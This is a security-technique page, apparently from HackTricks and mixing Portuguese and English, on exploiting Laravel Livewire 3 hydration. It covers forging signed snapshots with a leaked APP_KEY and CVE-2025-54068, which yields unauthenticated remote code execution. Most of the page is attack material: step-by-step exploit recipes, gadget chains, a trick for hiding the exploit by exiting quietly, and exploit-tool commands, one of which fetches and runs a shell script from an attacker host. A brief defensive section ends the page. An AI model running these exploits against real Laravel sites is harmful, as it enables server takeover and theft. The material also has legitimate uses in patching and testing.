Laravel Livewire Hydration & Synthesizer Abuse

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Resumo da máquina de estado do Livewire

Os componentes Livewire 3 trocam seu estado através de snapshots que contêm data, memo, e uma checksum. Todo POST para /livewire/update reidrata o snapshot JSON no servidor e executa os calls/updates enfileirados.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Qualquer pessoa que possua APP_KEY (usada para derivar $hashKey) pode, portanto, forjar snapshots arbitrários recomputando o HMAC.

Propriedades complexas são codificadas como tuplas sintéticas detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tupla é [value, {"s":"<key>", ...meta}]. O núcleo de hidratação simplesmente delega cada tupla ao synth selecionado em HandleComponents::$propertySynthesizers e faz recursão sobre os filhos:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

This recursive design makes Livewire a motor genérico de instanciação de objetos once an attacker controls either the tuple metadata or any nested tuple processed during recursion.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instancia new $meta['class']($value) após rehidratar cada elemento filho. Qualquer classe com um construtor que aceite array pode ser criada, e cada item pode ser ele próprio uma tupla sintética.
FormObjectSynth (form)Chama new $meta['class']($component, $path), depois atribui cada propriedade pública a partir de filhos controlados pelo atacante via $hydrateChild. Construtores que aceitam dois parâmetros fracamente tipados (ou argumentos padrão) são suficientes para alcançar propriedades públicas arbitrárias.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.

Forging snapshots when APP_KEY is known

  1. Capture a legitimate /livewire/update request and decode components[0].snapshot.
  2. Inject nested tuples that point to gadget classes and recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode the snapshot, keep _token/memo untouched, and replay the request.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapper – Illuminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer agora inclui um modo livewire que integra tudo:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

A ferramenta analisa o snapshot capturado, injeta os gadget tuples, recalcula o checksum e imprime um payload pronto para envio /livewire/update.

CVE-2025-54068 – RCE sem APP_KEY

Segundo o aviso do fornecedor, a vulnerabilidade afeta o Livewire v3 (>= 3.0.0-beta.1 e < 3.6.3) e é exclusiva do v3.

updates são mesclados no estado do componente após o checksum do snapshot ser validado. Se uma propriedade dentro do snapshot é (ou se torna) um synthetic tuple, o Livewire reutiliza seus metadados enquanto hidrata o valor de update controlado pelo atacante:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Find a Livewire component with an untyped public property (e.g., public $count;).
  2. Send an update that sets that property to []. The next snapshot now stores it as [[], {"s": "arr"}].

A minimal type-juggling flow looks like this:

POST /livewire/update
...
"updates": {"count": []}

Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Craft another updates payload where that property contains a deeply nested array embedding tuples such as [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. During recursion, hydrate() evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
  3. Reuse the same CollectionSynth/FormObjectSynth primitives to instantiate a Queueable gadget whose $chained[0] contains the phpggc payload. Livewire processes the forged updates, invokes dispatchNextJobInChain(), and reaches system(<cmd>) without knowing APP_KEY.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.

Livepyre – exploração ponta a ponta

Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:

  • Fingerprints the deployed Livewire version by parsing <script src="/livewire/livewire.js?id=HASH"> and mapping the hash to vulnerable releases.
  • Collects baseline snapshots by replaying benign actions and extracting components[].snapshot.
  • Generates either an updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
  • If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check executa uma sondagem não destrutiva, -F ignora o controle de versão, -H e -P adicionam cabeçalhos ou proxies personalizados, e --function/--param personalizam a função php invocada pelo gadget chain.

Considerações defensivas

  • Atualize para builds do Livewire corrigidas (>= 3.6.4 segundo o boletim do fornecedor) e aplique o patch do fornecedor para CVE-2025-54068.
  • Evite propriedades públicas fracamente tipadas em componentes Livewire; tipos escalares explícitos impedem que valores de propriedade sejam convertidos em arrays/tuplas.
  • Registre apenas os synthesizers que realmente precisa e trate metadados controlados pelo usuário ($meta['class']) como não confiáveis.
  • Rejeite atualizações que mudem o tipo JSON de uma propriedade (por exemplo, scalar -> array), a menos que explicitamente permitido, e re-derive os metadados de synth em vez de reutilizar tuplas obsoletas.
  • Altere APP_KEY imediatamente após qualquer divulgação, pois ela permite a falsificação offline de snapshots independentemente de quão corrigida esteja a base de código.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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